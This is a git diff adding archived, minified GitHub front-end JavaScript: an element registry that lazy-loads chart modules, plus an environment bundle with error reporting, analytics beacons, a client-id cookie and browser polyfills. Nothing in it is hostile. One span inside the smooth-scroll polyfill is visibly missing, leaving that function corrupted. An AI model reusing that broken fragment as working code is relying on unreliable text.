s"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_column-chart_ts")]).then(s.bind(s,86564))),t("stacked-area-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_stacked-area-chart_ts")]).then(s.bind(s,96514))),t("presence-avatars",()=>s.e("app_assets_modules_github_presence_presence-avatars_ts").then(s.bind(s,33096))),t("pulse-authors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_pulse-authors-graph-element_ts")]).then(s.bind(s,97724))),t("stacks-input-config-view",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_stacks_stacks-input-config-view_ts")]).then(s.bind(s,97818))),t("community-contributions-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_community-contributions_ts")]).then(s.bind(s,14008))),t("discussion-page-views-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussion-page-views_ts")]).then(s.bind(s,16427))),t("discussions-daily-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-daily-contributors_ts")]).then(s.bind(s,69142))),t("discussions-new-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-new-contributors_ts")]).then(s.bind(s,72895))),t("code-frequency-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_graphs_code-frequency-graph-element_ts")]).then(s.bind(s,29728))),t("contributors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158"),s.e("app_assets_modules_github_graphs_contributors-graph-element_ts")]).then(s.bind(s,56194))),t("org-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834"),s.e("app_assets_modules_github_graphs_org-insights-graph-element_ts")]).then(s.bind(s,79429))),t("traffic-clones-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-clones-graph-element_ts")]).then(s.bind(s,69549))),t("traffic-visitors-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-visitors-graph-element_ts")]).then(s.bind(s,5932))),t("commit-activity-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("app_assets_modules_github_graphs_commit-activity-graph-element_ts")]).then(s.bind(s,30579))),t("marketplace-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_marketplace-insights-graph-element_ts")]).then(s.bind(s,23825))),t("user-sessions-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_settings_user-sessions-map-element_ts")]).then(s.bind(s,75020))),t("reload-after-polling",()=>s.e("app_assets_modules_github_behaviors_reload-after-polling-element_ts").then(s.bind(s,87159))),t("package-dependencies-security-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts")]).then(s.bind(s,69709))),t(".js-sub-dependencies",()=>s.e("app_assets_modules_github_dependencies_ts").then(s.bind(s,42221))),t("network-graph",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9"),s.e("app_assets_modules_github_graphs_network-graph-element_ts")]).then(s.bind(s,11507))),t("business-audit-log-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_assets_modules_github_business-audit-log-map-element_ts")]).then(s.bind(s,15529))),t("inline-machine-translation",()=>s.e("app_assets_modules_github_localization_inline-machine-translation-element_ts").then(s.bind(s,96002)))}},l=>{var a=m(d=>l(l.s=d),"__webpack_exec__"),s=a(92333)}]);})(); + +//# sourceMappingURL=element-registry-5c2629948a88.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js new file mode 100644 index 0000000..f34ff2e --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js @@ -0,0 +1,4 @@ +(()=>{var J=Object.defineProperty;var e=(w,t)=>J(w,"name",{value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["environment"],{83721:(w,t,i)=>{"use strict";var a=i(92003);window.addEventListener("error",c=>{c.error&&(0,a.eK)(c.error)}),window.addEventListener("unhandledrejection",async c=>{if(!!c.promise)try{await c.promise}catch(f){(0,a.eK)(f)}}),window.location.hash==="#b00m"&&setTimeout(()=>{throw new Error("b00m")});var v=i(30523),l=i(50232);(0,l.nn)()},47930:(w,t,i)=>{"use strict";i.d(t,{S:()=>c});function a(f){const o=document.querySelectorAll(f);if(o.length>0)return o[o.length-1]}e(a,"queryLast");function v(){const f=a("meta[name=analytics-location]");return f?f.content:window.location.pathname}e(v,"pagePathname");function l(){const f=a("meta[name=analytics-location-query-strip]");let o="";f||(o=window.location.search);const u=a("meta[name=analytics-location-params]");u&&(o+=(o?"&":"?")+u.content);for(const b of document.querySelectorAll("meta[name=analytics-param-rename]")){const d=b.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${d[0]}($|=)`,"g"),`$1${d[1]}$2`)}return o}e(l,"pageQuery");function c(){return`${window.location.protocol}//${window.location.host}${v()+l()}`}e(c,"requestUri")},7739:(w,t,i)=>{"use strict";i.d(t,{C:()=>v,x:()=>a});const a=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),v=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},92003:(w,t,i)=>{"use strict";i.d(t,{aJ:()=>s,cI:()=>E,eK:()=>S});var a=i(29946),v=i(97474),l=i(82918),c=i(50232),f=i(28382),o=i(47930),u=i(49815);let b=!1,d=0;const y=Date.now();function S(p,_={}){p&&p.name!=="AbortError"&&O(I(T(p),_))}e(S,"reportError");async function O(p){var _,A;if(!L())return;const x=(A=(_=document.head)==null?void 0:_.querySelector('meta[name="browser-errors-url"]'))==null?void 0:A.content;if(!!x){if(n(p.error.stacktrace)){b=!0;return}d++;try{await fetch(x,{method:"post",body:JSON.stringify(p)})}catch{}}}e(O,"report");function T(p){return{type:p.name,value:p.message,stacktrace:E(p)}}e(T,"formatError");function I(p,_={}){return Object.assign({error:p,sanitizedUrl:(0,o.S)()||window.location.href,readyState:document.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-y),user:s()||void 0,turbo:(0,u.c)("TURBO")},_)}e(I,"errorContext");function E(p){return(0,f.Q)(p.stack||"").map(_=>({filename:_.file||"",function:String(_.methodName),lineno:(_.lineNumber||0).toString(),colno:(_.column||0).toString()}))}e(E,"stacktrace");const r=/(chrome|moz|safari)-extension:\/\//;function n(p){return p.some(_=>r.test(_.filename)||r.test(_.function))}e(n,"isExtensionError");function s(){var p,_;const A=(_=(p=document.head)==null?void 0:p.querySelector('meta[name="user-login"]'))==null?void 0:_.content;return A||`anonymous-${(0,l.b)()}`}e(s,"pageUser");let g=!1;window.addEventListener("pageshow",()=>g=!1),window.addEventListener("pagehide",()=>g=!0),document.addEventListener(a.QE.ERROR,p=>{O(I({type:"SoftNavError",value:p.detail,stacktrace:E(new Error)}))});function L(){return!g&&!b&&d<10&&(0,c.Gb)()&&!(0,v.Z)(document)}e(L,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",_=>{S(_.data.error)})},49815:(w,t,i)=>{"use strict";i.d(t,{$:()=>o,c:()=>c});var a=i(15205);const v=(0,a.Z)(l);function l(){var u,b;return(((b=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:b.content)||"").split(",")}e(l,"enabledFeatures");const c=(0,a.Z)(f);function f(u){return v().indexOf(u)!==-1}e(f,"isEnabled");const o={isFeatureEnabled:c}},97474:(w,t,i)=>{"use strict";i.d(t,{Z:()=>a});function a(v){var l,c;const f=(c=(l=v.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:c.content;if(!f)return!1;const o=f.replace(/\.$/,"").split(".").slice(-2).join("."),u=v.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return o!==u}e(a,"detectProxySite")},84818:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});class a{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}e(a,"NoOpStorage");function v(l,c={throwQuotaErrorsOnSet:!1},f=window){let o;try{o=f[l]}catch{o=new a}const{throwQuotaErrorsOnSet:u}=c;function b(S){try{return o.getItem(S)}catch{return null}}e(b,"getItem");function d(S,O){try{o.setItem(S,O)}catch(T){if(u&&T.message.toLowerCase().includes("quota"))throw T}}e(d,"setItem");function y(S){try{o.removeItem(S)}catch{}}return e(y,"removeItem"),{getItem:b,setItem:d,removeItem:y}}e(v,"safeStorage")},24216:(w,t,i)=>{"use strict";i.d(t,{LS:()=>l,cl:()=>c,rV:()=>v});var a=i(84818);const{getItem:v,setItem:l,removeItem:c}=(0,a.Z)("sessionStorage")},29946:(w,t,i)=>{"use strict";i.d(t,{Ak:()=>I,F2:()=>A,F6:()=>g,FP:()=>O,LD:()=>S,OE:()=>y,Po:()=>d,QE:()=>c,Rl:()=>p,Xk:()=>n,Ys:()=>s,aN:()=>_,wP:()=>L});var a=i(24216),v=i(47930),l=i(45922);const c=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",o="soft-navigation-referrer",u="soft-navigation-marker",b="reload";function d(){return(0,a.rV)(u)==="1"}e(d,"inSoftNavigation");function y(){return Boolean(E())}e(y,"hasSoftNavFailure");function S(){performance.mark(u),(0,a.LS)(u,"1"),(0,a.LS)(o,(0,v.S)()||window.location.href)}e(S,"startSoftNav");function O(){(0,a.LS)(u,"0")}e(O,"endSoftNav");function T(){(0,a.LS)(u,"0"),(0,a.cl)(o),(0,a.cl)(f)}e(T,"clearSoftNav");function I(x){(0,a.LS)(f,x||b)}e(I,"setSoftNavFailReason");function E(){return(0,a.rV)(f)}e(E,"getSoftNavFailReason");let r=0;function n(){r+=1,document.dispatchEvent(new CustomEvent(c.SUCCESS,{detail:r}))}e(n,"softNavSucceeded");function s(){const x=E()||b;document.dispatchEvent(new CustomEvent(c.ERROR,{detail:x})),r=0,T(),(0,l.b)({turboFailureReason:x})}e(s,"softNavFailed");function g(){document.dispatchEvent(new CustomEvent(c.INITIAL)),r=0,T()}e(g,"softNavInitial");function L(){return(0,a.rV)(o)||document.referrer}e(L,"getSoftNavReferrer");function p(){return performance.getEntriesByName(u).length===0?0:performance.measure(u,u).duration}e(p,"getDurationSinceLastSoftNav");function _(){document.dispatchEvent(new Event(c.START))}e(_,"beginProgressBar");function A(){document.dispatchEvent(new Event(c.END))}e(A,"completeProgressBar")},45922:(w,t,i)=>{"use strict";i.d(t,{b:()=>c});var a=i(97474),v=i(7739);let l=[];function c(d,y=!1){d.timestamp===void 0&&(d.timestamp=new Date().getTime()),d.loggedIn=b(),l.push(d),y?u():o()}e(c,"sendStats");let f=null;async function o(){await v.C,f==null&&(f=window.requestIdleCallback(u))}e(o,"scheduleSendStats");function u(){var d,y;if(f=null,!l.length||(0,a.Z)(document))return;const S=(y=(d=document.head)==null?void 0:d.querySelector('meta[name="browser-stats-url"]'))==null?void 0:y.content;if(!S)return;const O=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(S,O)}catch{}l=[]}e(u,"flushStats");function b(){var d,y;return!!((y=(d=document.head)==null?void 0:d.querySelector('meta[name="user-login"]'))==null?void 0:y.content)}e(b,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)},30523:w=>{(function(){"use strict";var t=window,i=document;function a(l){var c=["MSIE ","Trident/","Edge/"];return new RegExp(c.join("|")).test(l)}e(a,"isMicrosoftBrowser");function v(){if("scrollBehavior"in i.documentElement.style&&t.__forceSmoothScrollPolyfill__!==!0)return;var l=t.HTMLElement||t.Element,c=468,f=a(t.navigator.userAgent)?1:0,o={scroll:t.scroll||t.scrollTo,scrollBy:t.scrollBy,elementScroll:l.prototype.scroll||b,scrollIntoView:l.prototype.scrollIntoView},u=t.performance&&t.performance.now?t.performance.now.bind(t.performance):Date.now;function b(n,s){this.scrollLeft=n,this.scrollTop=s}e(b,"scrollElement");function d(n){return .5*(1-Math.cos(Math.PI*n))}e(d,"ease");function y(n){if(n===null||typeof n!="object"||n.behavior===void 0||n.behavior==="auto"||n.behavior==="instant")return!0;if(typeof n=="object"&&n.behavior==="smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+n.behavior+" is not a valid value for enumeration ScrollBehavior.")}e(y,"shouldBailOut");function S(n,s){if(s==="Y")return n.clientHeight+f1?1:_,g=d(_),L=n.startX+(n.x-n.startX)*g,p=n.startY+(n.y-n.startY)*g,n.method.call(n.scrollable,L,p),(L!==n.x||p!==n.y)&&t.requestAnimationFrame(E.bind(t,n))}e(E,"step");function r(n,s,g){var L,p,_,A,x=u();n===i.body?(L=t,p=t.scrollX||t.pageXOffset,_=t.scrollY||t.pageYOffset,A=o.scroll):(L=n,p=n.scrollLeft,_=n.scrollTop,A=b),E({scrollable:L,method:A,startTime:x,startX:p,startY:_,x:s,y:g})}e(r,"smoothScroll"),t.scroll=t.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.scroll.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:t.scrollY||t.pageYOffset);return}r.call(t,i.body,arguments[0].left!==void 0?~~arguments[0].left:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?~~arguments[0].top:t.scrollY||t.pageYOffset)}},t.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])){o.scrollBy.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:0,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:0);return}r.call(t,i.body,~~arguments[0].left+(t.scrollX||t.pageXOffset),~~arguments[0].top+(t.scrollY||t.pageYOffset))}},l.prototype.scroll=l.prototype.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){if(typeof arguments[0]=="number"&&arguments[1]===void 0)throw new SyntaxError("Value couldn't be converted");o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left:typeof arguments[0]!="object"?~~arguments[0]:this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top:arguments[1]!==void 0?~~arguments[1]:this.scrollTop);return}var n=arguments[0].left,s=arguments[0].top;r.call(this,this,typeof n=="undefined"?this.scrollLeft:~~n,typeof s=="undefined"?this.scrollTop:~~s)}},l.prototype.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~arguments[0].left+this.scrollLeft,top:~~arguments[0].top+this.scrollTop,behavior:arguments[0].behavior})}},l.prototype.scrollIntoView=function(){if(y(arguments[0])===!0){o.scrollIntoView.call(this,arguments[0]===void 0?!0:arguments[0]);return}var n=I(this),s=n.getBoundingClientRect(),g=this.getBoundingClientRect();n!==i.body?(r.call(this,n,n.scrollLeft+g.left-s.left,n.scrollTop+g.top-s.top),t.getComputedStyle(n).position!=="fixed"&&t.scrollBy({left:s.left,top:s.top,behavior:"smooth"})):t.scrollBy({left:g.left,top:g.top,behavior:"smooth"})}}e(v,"polyfill"),w.exports={polyfill:v}})()},28382:(w,t,i)=>{"use strict";i.d(t,{Q:()=>v});var a="";function v(E){var r=E.split(` +`);return r.reduce(function(n,s){var g=f(s)||u(s)||y(s)||I(s)||O(s);return g&&n.push(g),n},[])}e(v,"parse");var l=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,c=/\((\S*)(?::(\d+))(?::(\d+))\)/;function f(E){var r=l.exec(E);if(!r)return null;var n=r[2]&&r[2].indexOf("native")===0,s=r[2]&&r[2].indexOf("eval")===0,g=c.exec(r[2]);return s&&g!=null&&(r[2]=g[1],r[3]=g[2],r[4]=g[3]),{file:n?null:r[2],methodName:r[1]||a,arguments:n?[r[2]]:[],lineNumber:r[3]?+r[3]:null,column:r[4]?+r[4]:null}}e(f,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function u(E){var r=o.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(u,"parseWinjs");var b=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function y(E){var r=b.exec(E);if(!r)return null;var n=r[3]&&r[3].indexOf(" > eval")>-1,s=d.exec(r[3]);return n&&s!=null&&(r[3]=s[1],r[4]=s[2],r[5]=null),{file:r[3],methodName:r[1]||a,arguments:r[2]?r[2].split(","):[],lineNumber:r[4]?+r[4]:null,column:r[5]?+r[5]:null}}e(y,"parseGecko");var S=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function O(E){var r=S.exec(E);return r?{file:r[3],methodName:r[1]||a,arguments:[],lineNumber:+r[4],column:r[5]?+r[5]:null}:null}e(O,"parseJSC");var T=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function I(E){var r=T.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(I,"parseNode")},50232:(w,t,i)=>{"use strict";i.d(t,{nn:()=>Q,Gb:()=>Z});function a(m){const h=new AbortController;return h.abort(m),h.signal}e(a,"abortsignal_abort_abortSignalAbort");function v(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(v,"isSupported");function l(){return AbortSignal.abort===a}e(l,"isPolyfilled");function c(){v()||(AbortSignal.abort=a)}e(c,"apply");function f(m){const h=new AbortController;return setTimeout(()=>h.abort(new DOMException("TimeoutError")),m),h.signal}e(f,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}e(o,"abortsignal_timeout_isSupported");function u(){return AbortSignal.timeout===f}e(u,"abortsignal_timeout_isPolyfilled");function b(){o()||(AbortSignal.timeout=f)}e(b,"abortsignal_timeout_apply");class d extends Error{constructor(h,P,C={}){super(P);Object.defineProperty(this,"errors",{value:Array.from(h),configurable:!0,writable:!0}),C.cause&&Object.defineProperty(this,"cause",{value:C.cause,configurable:!0,writable:!0})}}e(d,"AggregateError");function y(){return typeof globalThis.AggregateError=="function"}e(y,"aggregateerror_isSupported");function S(){return globalThis.AggregateError===d}e(S,"aggregateerror_isPolyfilled");function O(){y()||(globalThis.AggregateError=d)}e(O,"aggregateerror_apply");const T=Reflect.getPrototypeOf(Int8Array)||{};function I(m){const h=this.length;return m=Math.trunc(m)||0,m<0&&(m+=h),m<0||m>=h?void 0:this[m]}e(I,"arrayLikeAt");function E(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in T&&typeof T.at=="function"}e(E,"arraylike_at_isSupported");function r(){return Array.prototype.at===I&&String.prototype.at===I&&T.at===I}e(r,"arraylike_at_isPolyfilled");function n(){if(!E()){const m={value:I,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",m),Object.defineProperty(String.prototype,"at",m),Object.defineProperty(T,"at",m)}}e(n,"arraylike_at_apply");function s(){const m=new Uint32Array(4);crypto.getRandomValues(m);let h=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(P){h++;const C=m[h>>3]>>h%8*4&15;return(P==="x"?C:C&3|8).toString(16)})}e(s,"randomUUID");function g(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}e(g,"crypto_randomuuid_isSupported");function L(){return g()&&crypto.randomUUID===s}e(L,"crypto_randomuuid_isPolyfilled");function p(){g()||(crypto.randomUUID=s)}e(p,"crypto_randomuuid_apply");const _=EventTarget.prototype.addEventListener;function A(m,h,P){if(typeof P=="object"&&"signal"in P&&P.signal instanceof AbortSignal){if(P.signal.aborted)return;_.call(P.signal,"abort",()=>{this.removeEventListener(m,h,P)})}return _.call(this,m,h,P)}e(A,"addEventListenerWithAbortSignal");function x(){let m=!1;const h=e(()=>m=!0,"setSignalSupported");function P(){}e(P,"noop");const C=Object.create({},{signal:{get:h}});try{const R=new EventTarget;return R.addEventListener("test",P,C),R.removeEventListener("test",P,C),m}catch{return m}}e(x,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===A}e(ee,"event_abortsignal_isPolyfilled");function $(){typeof AbortSignal=="function"&&!x()&&(EventTarget.prototype.addEventListener=A)}e($,"event_abortsignal_apply");const K=Object.prototype.hasOwnProperty;function N(m,h){if(m==null)throw new TypeError("Cannot convert undefined or null to object");return K.call(Object(m),h)}e(N,"object_hasown_objectHasOwn");function M(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}e(M,"object_hasown_isSupported");function te(){return Object.hasOwn===N}e(te,"object_hasown_isPolyfilled");function V(){M()||Object.defineProperty(Object,"hasOwn",{value:N,configurable:!0,writable:!0})}e(V,"object_hasown_apply");function j(m){return new Promise((h,P)=>{let C=!1;const R=Array.from(m),k=[];function z(D){C||(C=!0,h(D))}e(z,"resolveOne");function G(D){k.push(D),k.length===R.length&&P(new globalThis.AggregateError(k,"All Promises rejected"))}e(G,"rejectIfDone");for(const D of R)Promise.resolve(D).then(z,G)})}e(j,"promise_any_promiseAny");function U(){return"any"in Promise&&typeof Promise.any=="function"}e(U,"promise_any_isSupported");function ne(){return Promise.all===j}e(ne,"promise_any_isPolyfilled");function X(){U()||(Promise.any=j)}e(X,"promise_any_apply");const Y=50;function B(m,h={}){const P=Date.now(),C=h.timeout||0,R=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,Y-(Date.now()-P))}},"didTimeout",{get(){return Date.now()-P>C}});return window.setTimeout(()=>{m(R)})}e(B,"requestidlecallback_requestIdleCallback");function F(m){clearTimeout(m)}e(F,"cancelIdleCallback");function W(){return typeof globalThis.requestIdleCallback=="function"}e(W,"requestidlecallback_isSupported");function re(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===F}e(re,"requestidlecallback_isPolyfilled");function q(){W()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=F)}e(q,"requestidlecallback_apply");const H=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function Z(){return H&&v()&&o()&&y()&&E()&&g()&&x()&&M()&&U()&&W()}e(Z,"lib_isSupported");function oe(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}e(oe,"lib_isPolyfilled");function Q(){c(),b(),O(),n(),p(),$(),V(),X(),q()}e(Q,"lib_apply")},82918:(w,t,i)=>{"use strict";i.d(t,{b:()=>f});let a;function v(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}e(v,"generateClientId");function l(o){const u=`GH1.1.${o}`,b=Date.now(),d=new Date(b+1*365*86400*1e3).toUTCString();let{domain:y}=document;y.endsWith(".github.com")&&(y="github.com"),document.cookie=`_octo=${u}; expires=${d}; path=/; domain=${y}; secure; samesite=lax`}e(l,"setClientIdCookie");function c(){let o;const b=document.cookie.match(/_octo=([^;]+)/g);if(!b)return;let d=[0,0];for(const y of b){const[,S]=y.split("="),[,O,...T]=S.split("."),I=O.split("-").map(Number);I>d&&(d=I,o=T.join("."))}return o}e(c,"getClientIdFromCookie");function f(){try{const o=c();if(o)return o;const u=v();return l(u),u}catch{return a||(a=v()),a}}e(f,"getOrCreateClientId")},15205:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});function a(...l){return JSON.stringify(l,(c,f)=>typeof f=="object"?f:String(f))}e(a,"defaultHash");function v(l,c={}){const{hash:f=a,cache:o=new Map}=c;return function(...u){const b=f.apply(this,u);if(o.has(b))return o.get(b);let d=l.apply(this,u);return d instanceof Promise&&(d=d.catch(y=>{throw 